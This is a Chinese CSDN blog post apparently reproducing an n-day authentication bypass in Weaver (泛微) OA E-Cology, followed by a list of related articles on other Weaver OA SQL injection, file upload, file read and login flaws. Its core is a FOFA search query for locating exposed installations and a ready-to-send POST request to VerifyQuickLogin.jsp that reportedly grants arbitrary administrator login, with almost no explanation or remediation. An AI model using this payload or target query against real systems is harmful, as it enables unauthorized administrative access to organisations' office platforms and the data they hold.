【nday】泛微OA E-Cology VerifyQuickLogin.jsp 任意管理员登录漏洞

最新推荐文章于 2024-07-23 09:52:23 发布
最新推荐文章于 2024-07-23 09:52:23 发布
阅读量396 收藏
点赞数 2
分类专栏： # 泛微 文章标签： 安全 web安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/asanmaoa/article/details/139147747
版权

一、漏洞影响

        泛微OA E-Cology

二、网络测绘

        app="泛微-协同办公OA"

三、漏洞复现

验证POC

POST /mobile/plugin/VerifyQuickLogin.jsp
  
identifier=1&language=1&ipaddress=x.x.x.x

伏一
关注
  • 2
    点赞
  • 踩
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
【漏洞复现】泛微OA E-Cology V9 browser.jsp SQL注入漏洞复现及利用(CNVD-2023-12632)
做自己喜欢的事，并将其发挥到极致！
05-10 3107
泛微协同管理应用平台e-cology是一套兼具企业信息门户、知识文档管理、工作流程管理、人力资源管理、客户关系管理、项目管理、财务管理、资产管理、供应链管理、数据中心功能的企业大型协同管理平台。泛微新一代移动办公平台E-Cology不仅组织提供了一体化的协同工作平台，将组织事务逐渐实现全程电子化，改变传统纸质文件，实体签章的方式，泛微OA E-Cology平台browser.jsp处存在SQL注入漏洞，攻击者通过漏洞可以获取服务器数据库权限。
泛微OA e-office平台uploadify.php任意文件上传漏洞
薛定谔嘚喵博客
10-07 970
泛微e-office系统是标准、易用、快速部署上线的专业协同OA软件,国内协同OA办公领域领导品牌,致力于为企业用户提供专业OA办公系统、移动OA应用等协同OA整体解决方案。 泛微OA e-office平台uploadify.php处存在任意文件上传漏洞，攻击者通过漏洞可以获取服务器权限。
【漏洞复现】泛微OA E-Cology ofsLogin 任意用户登录漏洞
最新发布
凝聚力安全团队
07-23 457
泛微OA E-Cology ofsLogin接口存在任意用户登录漏洞，不法分子可以利用这个漏洞绕过身份验证，以任意用户身份登录系统。这样，攻击者能够访问和操作系统中的敏感数据，执行用户权限内的所有操作，甚至可能提升权限，造成数据泄露、篡改等严重安全问题。
【高危】泛微 e-cology9 存在任意用户登录漏洞
murphysec的博客
06-07 3538
墨菲安全是一家为您提供专业的软件供应链安全管理的科技公司，核心团队来自百度、华为、乌云等企业，公司为客户提供完整的软件供应链安全管理平台，围绕SBOM提供软件全生命周期的安全管理，平台能力包括软件成分分析、源安全管理、容器镜像检测、漏洞情报预警及商业软件供应链准入评估等多个产品。产品可以极低成本的和现有开发流程中的各种工具一键打通，包括 IDE、Gitlab、Bitbucket、Jenkins、Harbor、Nexus 等数十种工具无缝集成。将组件 e-cology9 升级至 10.57.2 及以上版本。
【漏洞复现】泛微OA E-cology8 SptmForPortalThumbnail.jsp 任意文件读取漏洞
凝聚力安全团队
06-19 642
泛微新一代移动办公平台e-cology不仅组织提供了一体化的协同工作平台,将组织事务逐渐实现全程电子化,改变传统纸质文件、实体签章的方式。泛微 e-cology8 的 SptmForPortalThumbnail.jsp 文件中的 preview 未进行安全过滤，攻击者可通过该漏洞读取泄露源码、数据库配置文件等等，导致网站处于极度不安全状态。
2021-泛微OA V8 SQL注入漏洞
weixin_43227251的博客
04-13 1万+
泛微OA V8 SQL注入漏洞 漏洞描述 泛微OA V8 存在SQL注入漏洞，攻击者可以通过漏洞获取管理员权限和服务器权限 漏洞影响 泛微OA V8 FOFA app=“泛微-协同办公OA” 漏洞复现 在getdata.jsp中，直接将request对象交给 weaver.hrm.common.AjaxManager.getData(HttpServletRequest, ServletContext) : 方法处理 在getData方法中，判断请求里cmd参数是否为空，如果不为空，调用proc方法 P
2022年实网攻防演练蓝队防守指南-安芯网盾.pdf
07-09
- TOP5 0day/nday漏洞利用，0day指未公开的漏洞，nday则指已知但未修复的漏洞，两者都是攻击者常用的手段。 4. 防御措施： - 第一点可能强调了建立和维护强大的安全意识培训，提高员工识别和抵御攻击的能力。 - ...
dede ad_js.php getshell,nday漏洞还原分析之dedecms后台getshell
weixin_34151001的博客
03-29 496
前言最近发现 dedecms 的 nday后台getshell ，于是打算还原一下。根据日志显示，攻击者访问了 dede/ad_add.php 文件后，转而访问 plus/ad_js.php 文件，提交的 payload 为 plus/ad_js.php?nocache=1&aid=1&_=whoami 。前期准备我们先来看一下 dede/ad_add.php 文件。可以看到这是一...
Nday--CVE-2020-16898(TCP/IP远程代码执行漏洞)
Vdieoo的博客
11-18 524
CVE-2020-16898 TCP/IP远程代码执行漏洞 https://github.com/XTaiQue/CVE-2020-16898--EXP-POC poc ,exp 完整学习：https://www.freebuf.com/articles/system/252263.html 以下我的复现过程：
攻防演练中的漏洞利用分享-大余.pdf
11-26
漏洞可以分为高频漏洞和低频漏洞，高频漏洞是指经常出现的漏洞，如SQL注入漏洞、跨站脚本漏洞等；低频漏洞是指不常出现的漏洞，如零日漏洞等。 权限提升是攻防演练的第三个步骤。在这个步骤中，攻击者可以使用各种...
泛微e-cology OA Beanshell组件远程代码执行漏洞批量检测脚本
09-26
对2019年9月新爆的泛微e-cology OA Beanshell组件远程代码执行漏洞进行漏洞检测。 使用方法： 1、运行url存活检测脚本e-cology_OA_rce.py批量定位泛微OA业务。 e-cology_OA_rce.py –t 1.txt 2、运行检测脚本判断是否可以拿权限。oa_check.py http://ip:port whoami
【漏洞复现】Jupyter Notebook未授权访问到RCE
Fly_鹏程万里
06-20 176
Jupyter Notebook(此前被称为IPython notebook)是一个交互式笔记本，支持运行40多种编程语言，Jupyter Notebook的本质是一个Web应用程序，便于创建和共享程序文档，支持实时代码，数学方程，可视化和 markdown，如果管理员未为Jupyter Notebook配置密码将导致未授权访问漏洞，游客可在其中创建一个console并执行任意Python代码和命令。
【漏洞预警】泛微E-Cology ofsLogin任意用户登陆漏洞
做自己喜欢的事，并将其发挥到极致！
05-17 5344
泛微e-cology是一套兼具企业信息门户、知识文档管理、工作流程管理、人力资源管理、客户关系管理、项目管理、财务管理、资产管理、供应链管理、数据中心功能的企业大型协同管理平台。泛微e-cology前台任意用户登录漏洞：泛微e-cology9部分版本中存在前台任意用户登录漏洞。该漏洞允许未经身份验证的攻击者通过发送构造的请求触发漏洞，成功利用此漏洞的攻击者可登录任意用户。
全网最强：泛微漏洞综合检测工具
bobo_patrick的博客
03-27 1393
全网poc最全、误报最少、漏洞利用方式最多的泛微漏洞综合检测工具
泛微OA V8 SQL注入漏洞和文件上传漏洞
热门推荐
qq_52469895的博客
04-11 1万+
fofa语句 app="泛微-协同办公OA" SQL注入 在泛微OA V8中的getdata.jsp文件里，通过gatData方法将数据获取并回显在页面上，而在getData方法中，判断请求里cmd参数是否为空，如果不为空，调用proc方法。其中它存在四个参数，分别为空字符串、cmd参数值、request对象以及serverContext对象，通过对cmd参数值进行判断，当cmd值等于getSelectAllId时，再从请求中获取sql和type两个参数值，并将参数传递进getSelectAllIds
【漏洞复现】CERIO DT系列路由器 远程代码执行漏洞
qq_67810151的博客
03-13 467
CERIO DT系列路由器在特定版本中存在操作命令注入漏洞。未授权的攻击者可利用该漏洞进行远程代码执行，从而控制服务器。
【漏洞复现】泛微OA E-Cology ProcessOverRequestByXml文件读取漏洞
晚风不及你
05-13 638
泛微OA E-Cology ProcessOverRequestByXml存在任意文件读取漏洞，允许未经授权的用户读取服务器上的敏感配置文件
漏洞复现-泛微WeaverOA系列
aming小老弟
10-03 1188
泛微OA
农业银行在新形势下的金融安全防护策略
- 新兴技术如云计算、大数据和区块链的应用增加了安全漏洞的风险，传统应急响应机制难以应对0day和nday漏洞。 3. 安全防护发展历程： - 基础防护阶段：满足监管合规，如等级保护，采用基础防护手段如防火墙和IDS...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值